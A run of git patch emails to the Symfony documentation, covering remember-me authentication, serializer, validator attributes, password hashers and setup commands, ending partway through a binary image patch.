Date: Thu, 24 Jun 2021 17:04:52 +0200
Subject: [PATCH 2937/7107] Added the way to activate remember me in the new
 authentication system

I had to search a while for myself not understanding why I did not have a REMEMBERME cookie when I activated the new system. So maybe handy to add it.
---
 security/remember_me.rst | 37 ++++++++++++++++++-------------------
 1 file changed, 18 insertions(+), 19 deletions(-)

diff --git a/security/remember_me.rst b/security/remember_me.rst
index 6c39ebc8739..7b527d69ca2 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -169,26 +169,25 @@ the cookie remains valid.
 
 Add the RememberMeBadge() to the Passport
 -----------------------------------------
-After uncommenting the login template and add some lines in the firewall configuration, the last thing to do is to add a new RememberMeBadge to the Password in the Authenticator.
 
-    // src/Security/Authenticator.php
-    // ...
-    
-    public function authenticate(Request $request): PassportInterface
-    {
-        $email = $request->request->get('email', '');
-
-        $request->getSession()->set(Security::LAST_USERNAME, $email);
-
-        return new Passport(
-            new UserBadge($email),
-            new PasswordCredentials($request->request->get('password', '')),
-            [
-                new CsrfTokenBadge('authenticate', $request->request->get('_csrf_token')),
-                new RememberMeBadge(),
-            ]
-        );
-    }
+Beware that in the new Authenitaction System you have to set the RememberMeBadge()
+in the authenticate method of the authenticator, like::
+
+     public function authenticate(Request $request): PassportInterface
+        {
+            $email = $request->request->get('email', '');
+
+            $request->getSession()->set(Security::LAST_USERNAME, $email);
+
+            return new Passport(
+                new UserBadge($email),
+                new PasswordCredentials($request->request->get('password', '')),
+                [
+                    new CsrfTokenBadge('authenticate', $request->get('_csrf_token')),
+                    new RememberMeBadge(),
+                ]
+            );
+        }
 
 Forcing the User to Re-Authenticate before Accessing certain Resources
 ----------------------------------------------------------------------

From d5cbaf43d252625341a734730fe4888adace9b36 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sat, 8 Jan 2022 00:39:06 +0100
Subject: [PATCH 2938/7107] Reintroduce removed note

---
 components/serializer.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index d6fc7ba2fc3..5f8465b9194 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -908,6 +908,11 @@ The Serializer component provides several built-in normalizers:
 
     The ``UidNormalizer`` normalization formats were introduced in Symfony 5.3.
 
+.. note::
+
+    You can also create your own Normalizer to use another structure. Read more at
+    :doc:`/serializer/custom_normalizer`.
+
 Certain normalizers are enabled by default when using the Serializer component
 in a Symfony application, additional ones can be enabled by tagging them with
 :ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>`.

From 12fcb6a34d9ef22b09f421e19d4871e81bd04149 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Malte=20Schl=C3=BCter?= <malte.schlueter@qossmic.com>
Date: Sat, 8 Jan 2022 17:41:23 +0100
Subject: [PATCH 2939/7107] [Security] Add deprecation information for
 is_anonymous

---
 security/expressions.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/security/expressions.rst b/security/expressions.rst
index c1bc9717a70..88bebd5dc07 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -24,7 +24,7 @@ accepts an :class:`Symfony\\Component\\ExpressionLanguage\\Expression` object::
         public function index(): Response
         {
             $this->denyAccessUnlessGranted(new Expression(
-                '"ROLE_ADMIN" in role_names or (not is_anonymous() and user.isSuperAdmin())'
+                '"ROLE_ADMIN" in role_names or (is_authenticated() and user.isSuperAdmin())'
             ));
 
             // ...
@@ -78,6 +78,11 @@ Additionally, you have access to a number of functions inside the expression:
     equivalent to using the :ref:`isGranted() method <security-isgranted>`
     from the security service.
 
+.. deprecated:: 5.4
+
+   The ``is_anonymous()`` function is
+   deprecated since Symfony 5.4.
+
 .. sidebar:: ``is_remember_me()`` is different than checking ``IS_AUTHENTICATED_REMEMBERED``
 
     The ``is_remember_me()`` and ``is_fully_authenticated()`` functions are *similar*

From 0c7a542bab317ac560533863ebf0a2d2935c9390 Mon Sep 17 00:00:00 2001
From: babache <babache42@hotmail.com>
Date: Sun, 9 Jan 2022 12:11:22 +0100
Subject: [PATCH 2940/7107] Remove duplicate line

Remove line 325 :
use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
Same 324
---
 security/custom_authenticator.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 83aeee5cda7..fc2487c0caf 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -322,7 +322,6 @@ would initialize the passport like this::
     use Symfony\Component\Security\Http\Authenticator\Passport\Badge\CsrfTokenBadge;
     use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
     use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
-    use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
 
     class LoginAuthenticator extends AbstractAuthenticator
     {

From 18ae5273bb295236323420862c42b0f8425e9e1d Mon Sep 17 00:00:00 2001
From: Mathias Arlaud <mathias.arlaud@gmail.com>
Date: Mon, 10 Jan 2022 19:04:12 +0100
Subject: [PATCH 2941/7107] [Serializer] Deprecate "context aware" interfaces

---
 controller/error_pages.rst       |  2 +-
 serializer/custom_encoders.rst   | 11 ++---------
 serializer/custom_normalizer.rst |  4 ++--
 3 files changed, 5 insertions(+), 12 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index a94294573a0..ce582378c82 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -226,7 +226,7 @@ contents, create a new Normalizer that supports the ``FlattenException`` input::
             ];
         }
 
-        public function supportsNormalization($data, string $format = null)
+        public function supportsNormalization($data, string $format = null, array $context = [])
         {
             return $data instanceof FlattenException;
         }
diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst
index 7f8a0e1b4f2..1fabd9b2b4d 100644
--- a/serializer/custom_encoders.rst
+++ b/serializer/custom_encoders.rst
@@ -33,7 +33,7 @@ create your own encoder that uses the
             return Yaml::dump($data);
         }
 
-        public function supportsEncoding(string $format)
+        public function supportsEncoding(string $format, array $context = [])
         {
             return 'yaml' === $format;
         }
@@ -43,19 +43,12 @@ create your own encoder that uses the
             return Yaml::parse($data);
         }
 
-        public function supportsDecoding(string $format)
+        public function supportsDecoding(string $format, array $context = [])
         {
             return 'yaml' === $format;
         }
     }
 
-.. tip::
-
-    If you need access to ``$context`` in your ``supportsDecoding`` or
-    ``supportsEncoding`` method, make sure to implement
-    ``Symfony\Component\Serializer\Encoder\ContextAwareDecoderInterface``
-    or ``Symfony\Component\Serializer\Encoder\ContextAwareEncoderInterface`` accordingly.
-
 
 Registering it in your app
 --------------------------
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 5630eb4e552..fa7aa1f0094 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -22,10 +22,10 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
 
     use App\Entity\Topic;
     use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
-    use Symfony\Component\Serializer\Normalizer\ContextAwareNormalizerInterface;
+    use Symfony\Component\Serializer\Normalizer\NormalizerInterface;
     use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
 
-    class TopicNormalizer implements ContextAwareNormalizerInterface
+    class TopicNormalizer implements NormalizerInterface
     {
         private $router;
         private $normalizer;

From 45c032a21b58074b55cee88ef870a8ecca182941 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Wed, 12 Jan 2022 08:33:34 +0100
Subject: [PATCH 2942/7107] User --webapp instead of --full

---
 setup.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/setup.rst b/setup.rst
index 85c1c58a8cb..94628e87ffe 100644
--- a/setup.rst
+++ b/setup.rst
@@ -53,13 +53,13 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version=5.3 --full
+    $ symfony new my_project_directory --version=5.3 --webapp
 
     # run this if you are building a microservice, console application or API
     $ symfony new my_project_directory --version=5.3
 
 The only difference between these two commands is the number of packages
-installed by default. The ``--full`` option installs all the packages that you
+installed by default. The ``--webapp`` option installs all the packages that you
 usually need to build web applications, so the installation size will be bigger.
 
 If you're not using the Symfony binary, run these commands to create the new
@@ -68,7 +68,9 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton:"^5.3" my_project_directory
+    $ composer create-project symfony/skeleton:"^5.3" my_project_directory
+    $ cd my_project_directory
+    $ composer require webapp
 
     # run this if you are building a microservice, console application or API
     $ composer create-project symfony/skeleton:"^5.3" my_project_directory

From 79aa7359d4cd382b40e33f7ae3f5b67e5e12416d Mon Sep 17 00:00:00 2001
From: MarkPedron <62351451+MarkPedron@users.noreply.github.com>
Date: Thu, 13 Jan 2022 07:41:38 +0100
Subject: [PATCH 2943/7107] Fix custom password hasher doc

The docs confused `UserPasswordHasherInterface` with
`PasswordHasherInterface`. Implementing a custom
`UserPasswordHasherInterface` most likely is not what the developer
wants to do. The subsequent docs configured the example at places
where a `PasswordHasherInterface` is expected.
---
 security/passwords.rst | 34 +++++++++++++++++-----------------
 1 file changed, 17 insertions(+), 17 deletions(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index e30e517f895..47f5e7f0424 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -781,12 +781,12 @@ Creating a custom Password Hasher
 
 If you need to create your own, it needs to follow these rules:
 
-#. The class must implement :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`
-   (you can also extend :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasher`);
+#. The class must implement :class:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface`
+   (you can also implement :class:`Symfony\\Component\\PasswordHasher\\LegacyPasswordHasherInterface` if your hash algorithm uses a separate salt);
 
 #. The implementations of
-   :method:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface::hashPassword`
-   and :method:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface::isPasswordValid`
+   :method:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface::hash`
+   and :method:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface::verify`
    **must validate that the password length is no longer than 4096
    characters.** This is for security reasons (see `CVE-2013-5750`_).
 
@@ -795,21 +795,21 @@ If you need to create your own, it needs to follow these rules:
 
 .. code-block:: php
 
-    // src/Security/CustomVerySecureHasher.php
-    namespace App\Security;
+    // src/Security/Hasher/CustomVerySecureHasher.php
+    namespace App\Security\Hasher;
 
+    use Symfony\Component\PasswordHasher\Exception\InvalidPasswordException;
     use Symfony\Component\PasswordHasher\Hasher\CheckPasswordLengthTrait;
-    use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasher;
-    use Symfony\Component\Security\Core\Exception\BadCredentialsException;
+    use Symfony\Component\PasswordHasher\PasswordHasherInterface;
 
-    class CustomVerySecureHasher extends UserPasswordHasher
+    class CustomVerySecureHasher implements PasswordHasherInterface
     {
         use CheckPasswordLengthTrait;
 
-        public function hashPassword(UserInterface $user, string $plainPassword): string
+        public function hash(string $plainPassword): string
         {
-            if ($this->isPasswordTooLong($user->getPassword())) {
-                throw new BadCredentialsException('Invalid password.');
+            if ($this->isPasswordTooLong($plainPassword)) {
+                throw new InvalidPasswordException();
             }
 
             // ... hash the plain password in a secure way
@@ -817,9 +817,9 @@ If you need to create your own, it needs to follow these rules:
             return $hashedPassword;
         }
 
-        public function isPasswordValid(UserInterface $user, string $plainPassword): bool
+        public function verify(string $hashedPassword, string $plainPassword): bool
         {
-            if ($this->isPasswordTooLong($user->getPassword())) {
+            if ('' === $plainPassword || $this->isPasswordTooLong($plainPassword)) {
                 return false;
             }
 
@@ -860,21 +860,21 @@ Now, define a password hasher using the ``id`` setting:
                 <!-- ... -->
                 <!-- id: the service ID of your custom hasher (the FQCN using the default services.yaml) -->
                 <security:password_hasher class="app_hasher"
-                    id="App\Security\Hasher\MyCustomPasswordHasher"/>
+                    id="App\Security\Hasher\CustomVerySecureHasher"/>
             </config>
         </srv:container>
 
     .. code-block:: php
 
         // config/packages/security.php
-        use App\Security\Hasher\MyCustomPasswordHasher;
+        use App\Security\Hasher\CustomVerySecureHasher;
         use Symfony\Config\SecurityConfig;
 
         return static function (SecurityConfig $security) {
             // ...
             $security->passwordHasher('app_hasher')
                 // the service ID of your custom hasher (the FQCN using the default services.yaml)
-                ->id(MyCustomPasswordHasher::class)
+                ->id(CustomVerySecureHasher::class)
             ;
         };
 

From d4ca2e04016b2862ed12437912b29343795cb4b3 Mon Sep 17 00:00:00 2001
From: Jan Rosier <rosier@interstroom.nl>
Date: Thu, 13 Jan 2022 15:29:15 +0100
Subject: [PATCH 2944/7107] Update Monolog processors github url

---
 logging/processors.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/logging/processors.rst b/logging/processors.rst
index 1aa331b23f3..3ae0e7a0492 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -280,4 +280,4 @@ the ``monolog.processor`` tag:
             ->addTag('monolog.processor', ['channel' => 'main']);
 
 .. _`Monolog`: https://github.com/Seldaek/monolog
-.. _`built-in Monolog processors`: https://github.com/Seldaek/monolog/tree/master/src/Monolog/Processor
+.. _`built-in Monolog processors`: https://github.com/Seldaek/monolog/tree/main/src/Monolog/Processor

From 7099e3f2f6cb0049f950a428ea01d652ce3bd5da Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 20 Jul 2021 10:20:58 +0200
Subject: [PATCH 2945/7107] [Validator] Add attributes documentation of
 composite constraints

---
 reference/constraints/All.rst          | 22 +++++++++++++++++
 reference/constraints/AtLeastOneOf.rst | 30 +++++++++++++++++++++++
 reference/constraints/Collection.rst   | 34 ++++++++++++++++++++++++++
 reference/constraints/Sequentially.rst | 26 ++++++++++++++++++++
 4 files changed, 112 insertions(+)

diff --git a/reference/constraints/All.rst b/reference/constraints/All.rst
index 1577a07ec4d..f50efb5bf0d 100644
--- a/reference/constraints/All.rst
+++ b/reference/constraints/All.rst
@@ -39,6 +39,23 @@ entry in that array:
             protected $favoriteColors = [];
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        // IMPORTANT: nested attributes requires PHP 8.1 or higher
+        class User
+        {
+            #[Assert\All([
+                new Assert\NotBlank,
+                new Assert\Length(min: 5),
+            ])]
+            protected $favoriteColors = [];
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -93,6 +110,11 @@ entry in that array:
             }
         }
 
+.. versionadded:: 5.4
+
+    The ``#[All]`` PHP attribute was introduced in Symfony 5.4 and requires
+    PHP 8.1 (which added nested attribute support).
+
 Now, each entry in the ``favoriteColors`` array will be validated to not
 be blank and to be at least 5 characters long.
 
diff --git a/reference/constraints/AtLeastOneOf.rst b/reference/constraints/AtLeastOneOf.rst
index fb29a86f8d8..28f55ede51c 100644
--- a/reference/constraints/AtLeastOneOf.rst
+++ b/reference/constraints/AtLeastOneOf.rst
@@ -60,6 +60,31 @@ The following constraints ensure that:
             protected $grades;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Student.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        // IMPORTANT: nested attributes requires PHP 8.1 or higher
+        class Student
+        {
+            #[Assert\AtLeastOneOf([
+                new Assert\Regex('/#/'),
+                new Assert\Length(min: 10),
+            ])]
+            protected $plainPassword;
+
+            #[Assert\AtLeastOneOf([
+                new Assert\Count(min: 3),
+                new Assert\All(
+                    new Assert\GreaterThanOrEqual(5)
+                ),
+            ])]
+            protected $grades;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -149,6 +174,11 @@ The following constraints ensure that:
             }
         }
 
+.. versionadded:: 5.4
+
+    The ``#[AtLeastOneOf]`` PHP attribute was introduced in Symfony 5.4 and
+    requires PHP 8.1 (which added nested attribute support).
+
 Options
 -------
 
diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index c60679aa90b..0f249c1d818 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -88,6 +88,35 @@ following:
             ];
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        // IMPORTANT: nested attributes requires PHP 8.1 or higher
+        class Author
+        {
+            #[Assert\Collection(
+                fields: [
+                    'personal_email' => new Assert\Email,
+                    'short_bio' => [
+                        new Assert\NotBlank,
+                        new Assert\Length(
+                            max: 100,
+                            maxMessage: 'Your short bio is too long!'
+                        )
+                    ]
+                ],
+                allowMissingFields: true,
+            )]
+            protected $profileData = [
+                'personal_email' => '...',
+                'short_bio' => '...',
+            ];
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -162,6 +191,11 @@ following:
             }
         }
 
+.. versionadded:: 5.4
+
+    The ``#[Collection]`` PHP attribute was introduced in Symfony 5.4 and
+    requires PHP 8.1 (which added nested attribute support).
+
 Presence and Absence of Fields
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/reference/constraints/Sequentially.rst b/reference/constraints/Sequentially.rst
index da7bd16f4b2..9e6f6eaefbb 100644
--- a/reference/constraints/Sequentially.rst
+++ b/reference/constraints/Sequentially.rst
@@ -67,6 +67,27 @@ You can validate each of these constraints sequentially to solve these issues:
             public $address;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Localization/Place.php
+        namespace App\Localization;
+
+        use App\Validator\Constraints as AcmeAssert;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        // IMPORTANT: nested attributes requires PHP 8.1 or higher
+        class Place
+        {
+            #[Assert\Sequentially([
+                new Assert\NotNull,
+                new Assert\Type('string'),
+                new Assert\Length(min: 10),
+                new Assert\Regex(Place::ADDRESS_REGEX),
+                new AcmeAssert\Geolocalizable,
+            ])]
+            public $address;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -128,6 +149,11 @@ You can validate each of these constraints sequentially to solve these issues:
             }
         }
 
+.. versionadded:: 5.4
+
+    The ``#[Sequentially]`` PHP attribute was introduced in Symfony 5.4 and
+    requires PHP 8.1 (which added nested attribute support).
+
 Options
 -------
 

From d7db41a751837a6e3f94e81f2ea3c360eb096722 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 14 Jan 2022 15:07:38 +0100
Subject: [PATCH 2946/7107] Drop 5.4 versionadded directives

---
 reference/constraints/All.rst          | 5 -----
 reference/constraints/AtLeastOneOf.rst | 5 -----
 reference/constraints/Collection.rst   | 5 -----
 reference/constraints/Sequentially.rst | 5 -----
 4 files changed, 20 deletions(-)

diff --git a/reference/constraints/All.rst b/reference/constraints/All.rst
index cfcf75343fd..ec4e76d96f9 100644
--- a/reference/constraints/All.rst
+++ b/reference/constraints/All.rst
@@ -107,11 +107,6 @@ entry in that array:
             }
         }
 
-.. versionadded:: 5.4
-
-    The ``#[All]`` PHP attribute was introduced in Symfony 5.4 and requires
-    PHP 8.1 (which added nested attribute support).
-
 Now, each entry in the ``favoriteColors`` array will be validated to not
 be blank and to be at least 5 characters long.
 
diff --git a/reference/constraints/AtLeastOneOf.rst b/reference/constraints/AtLeastOneOf.rst
index a548bf03149..42067f0c231 100644
--- a/reference/constraints/AtLeastOneOf.rst
+++ b/reference/constraints/AtLeastOneOf.rst
@@ -164,11 +164,6 @@ The following constraints ensure that:
             }
         }
 
-.. versionadded:: 5.4
-
-    The ``#[AtLeastOneOf]`` PHP attribute was introduced in Symfony 5.4 and
-    requires PHP 8.1 (which added nested attribute support).
-
 Options
 -------
 
diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index e708511d309..6830dcc0956 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -184,11 +184,6 @@ following:
             }
         }
 
-.. versionadded:: 5.4
-
-    The ``#[Collection]`` PHP attribute was introduced in Symfony 5.4 and
-    requires PHP 8.1 (which added nested attribute support).
-
 Presence and Absence of Fields
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/reference/constraints/Sequentially.rst b/reference/constraints/Sequentially.rst
index ffe82deae62..49eb07c5aa0 100644
--- a/reference/constraints/Sequentially.rst
+++ b/reference/constraints/Sequentially.rst
@@ -142,11 +142,6 @@ You can validate each of these constraints sequentially to solve these issues:
             }
         }
 
-.. versionadded:: 5.4
-
-    The ``#[Sequentially]`` PHP attribute was introduced in Symfony 5.4 and
-    requires PHP 8.1 (which added nested attribute support).
-
 Options
 -------
 

From 76bd5fb5fd9e4ee18a102f4ea568bff7a7198bca Mon Sep 17 00:00:00 2001
From: Volodymyr Kupriienko <vldmr.kuprienko@gmail.com>
Date: Fri, 1 Oct 2021 21:16:56 +0300
Subject: [PATCH 2947/7107] [HttpClient]
 HttpClientInterface::setResponseFactory method

---
 http_client.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 834ada0b10a..6254d816efe 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1678,6 +1678,23 @@ responses dynamically when it's called::
     $client = new MockHttpClient($callback);
     $response = $client->request('...'); // calls $callback to get the response
 
+.. tip::
+
+    Instead of using the first argument, you can also set the (list of)
+    responses or callbacks using the ``setResponseFactory()`` method::
+
+        $responses = [
+            new MockResponse($body1, $info1),
+            new MockResponse($body2, $info2),
+        ];
+
+        $client = new MockHttpClient();
+        $client->setResponseFactory($responses);
+
+    .. versionadded:: 5.4
+
+        The ``setResponseFactory()`` method was introduced in Symfony 5.4.
+
 If you need to test responses with HTTP status codes different than 200,
 define the ``http_code`` option::
 

From 4d0c9b608046b6aa288c56104643a4361be2edba Mon Sep 17 00:00:00 2001
From: Ahmed El Moden <cresuso@gmail.com>
Date: Wed, 29 Sep 2021 15:22:45 +0200
Subject: [PATCH 2948/7107] Document by_reference option

This option is needed sometimes, and it is not documented for entityType
---
 reference/forms/types/entity.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index 6adaa9df79f..ec3dbc2eb70 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -284,6 +284,8 @@ type:
 
 .. include:: /reference/forms/types/options/attr.rst.inc
 
+.. include:: /reference/forms/types/options/by_reference.rst.inc
+
 .. include:: /reference/forms/types/options/data.rst.inc
 
 .. include:: /reference/forms/types/options/disabled.rst.inc

From b583427d599e213ff5bc2af0fec5eaf8727615ae Mon Sep 17 00:00:00 2001
From: helmi dridi <43951764+helmidridi@users.noreply.github.com>
Date: Wed, 13 Oct 2021 13:41:03 +0100
Subject: [PATCH 2949/7107] Update definition.rst

---
 components/config/definition.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index 4030098a66b..2864bddb570 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -820,7 +820,8 @@ character (``.``)::
 
     $node = $treeBuilder->buildTree();
     $children = $node->getChildren();
-    $path = $children['driver']->getPath();
+    $childChildren = $children['connection']->getChildren();
+    $path = $childChildren['driver']->getPath();
     // $path = 'database.connection.driver'
 
 Use the ``setPathSeparator()`` method on the config builder to change the path
@@ -831,7 +832,8 @@ separator::
     $treeBuilder->setPathSeparator('/');
     $node = $treeBuilder->buildTree();
     $children = $node->getChildren();
-    $path = $children['driver']->getPath();
+    $childChildren = $children['connection']->getChildren();
+    $path = $childChildren['driver']->getPath();
     // $path = 'database/connection/driver'
 
 Processing Configuration Values

From 48008248a03d4734a0e4306d7d3d4fcec78674db Mon Sep 17 00:00:00 2001
From: Punt13140 <33422215+Punt13140@users.noreply.github.com>
Date: Fri, 22 Oct 2021 00:51:43 +0200
Subject: [PATCH 2950/7107] Update form_collections.rst

Hi,

Shouldn't we add a delete link just to <li> childs instead of the <ul> parent ?

Thanks
---
 form/form_collections.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index c58bf996235..0ab38902a17 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -531,7 +531,7 @@ First, add a "delete this tag" link to each tag form:
 
 .. code-block:: javascript
 
-    const tags = document.querySelectorAll('ul.tags')
+    const tags = document.querySelectorAll('ul.tags li')
     tags.forEach((tag) => {
         addTagFormDeleteLink(tag)
     })

From 01bd2cef8f005521e510be6d9861b89ac8ab77f0 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 23 Oct 2021 12:26:27 +0200
Subject: [PATCH 2951/7107] [Form] Minor deletion

Follow-up of https://github.com/symfony/symfony-docs/pull/15982
The point is that it's included in **label** (not in *errors*) ;-)
---
 form/form_customization.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/form/form_customization.rst b/form/form_customization.rst
index e88c29e11d7..00d192b23e8 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -257,8 +257,9 @@ Renders any errors for the given field.
 
 .. caution::
 
-    In the :ref:`error messages of Bootstrap 4 Form Theme <reference-forms-bootstrap4-error-messages>`,
-    ``form_errors()`` is already included in ``form_label()``.
+    In the Bootstrap 4 form theme, ``form_errors()`` is already included in
+    ``form_label()``. Read more about this in the
+    :ref:`Bootstrap 4 theme documentation <reference-forms-bootstrap4-error-messages>`.
 
 .. _reference-forms-twig-widget:
 

From 7a175b9e08f6f8ad056e18b529776deec51b8f02 Mon Sep 17 00:00:00 2001
From: soyuka <soyuka@users.noreply.github.com>
Date: Wed, 27 Oct 2021 16:46:13 +0200
Subject: [PATCH 2952/7107] serializer: default context configuration #16010

---
 serializer.rst | 43 +++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 43 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index 92250d2f5a9..f61e2709dfe 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -175,6 +175,49 @@ You can pass the context like following::
         DateTimeNormalizer::FORMAT_KEY => 'Y-m-d H:i:s',
     ]);
 
+You can also configure the default context through the framework
+configuration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            serializer:
+                default_context:
+                    enable_max_depth: true
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <framework:config>
+            <!-- ... -->
+            <framework:serializer>
+                <default-context enable-max-depth="true"/>
+            </framework:serializer>
+        </framework:config>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+        use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->serializer()
+                ->defaultContext([
+                    AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true
+                ])
+            ;
+        };
+
+.. versionadded:: 5.4
+
+    The ability to configure the ``default_context`` option in the
+    Serializer was introduced in Symfony 5.4.
+
 .. _serializer-using-serialization-groups-annotations:
 
 Using Serialization Groups Annotations

From 5ac2d260f2fe7dec95d66317fb05e76b56170bd7 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 7 Jan 2022 17:51:56 +0100
Subject: [PATCH 2953/7107] Document the new remember me system

---
 _images/security/profiler-badges.png | Bin 0 -> 151450 bytes
 security/remember_me.rst             | 616 ++++++++++++++++++---------
 2 files changed, 415 insertions(+), 201 deletions(-)
 create mode 100644 _images/security/profiler-badges.png

diff --git a/_images/security/profiler-badges.png b/_images/security/profiler-badges.png
new file mode 100644
index 0000000000000000000000000000000000000000..a19f8539581a937011667179a8958d66a2ec504c
GIT binary patch
literal 151450
zcmce-WmHvNyf3^7>6UIWK)ORpLO_vHx{;FZhE0Q#q990zba!`mcXyX`zjL2^&Ut*!
zxF7C^d*3~D0Bh{M)?9P`|G%1Rf0dV&#6%-SgFqmdZ>7XPKp@Ca2m~IAf&`9e2By$}
zAE?$+YIYC^Rx9j3T&Go*0XRrv|3=mRqm_}plb)?1#L3Bt*~HS!PG8U3klD)CIPO4z
z6at}!ycHKwbdKMfH+EJuoIyT%=rb7M_<iB0NSz`^9f4;`=abcj_N8hiDA$LpA$N(n
zC8xKhrev?DhQ11oUS?Z#D<xp)ttcsz;FEgUjC!gTzCHt^5d?{c#@&_g@h4>`eW+A*
zn+;TN<>kL&iT~?0X7Tp$4F1c%URnCYm(OYbe(h}h-#Ws0Fd@FYylic4?IoJ>T2+-8
zLQPAHTwPtAm6Id-?p@EkIvVcZui?UX(MVAJPoHoeKlbhFlDfRU=ANx6DZx8FK3<{v
zdyF(RrWCLnEGR`z;In%{$fQ2@sc14jKAznDdOLHf#88^HFyvqNxiy*j5uuTdjZL-A
z*`^kuL1ukzP50{0dLQJ)zfNo_k@*O^*&i49T>7VdhrGm3CXIk{vq{J9slTTZ{zV$D
zLw!t4jL~6jZS7MU8hA%XM<<gvjpSThTvG4ei7F^4#N9YvhUoZ<dbbA?J>}-ENE7>2
zZqSYA7Z|7yuA7yYw^!ow_Yi%2d=Ad=zCg<hwCiU+#Vwi+5kdC$_Hb}<y|ro`%d4#d
z5gHRHPUlMu(YdV_LLwva!Kt3Iv*Qg4oP_X7YHDg`_P_aikm8MujpNCM$@PPaDNTjY
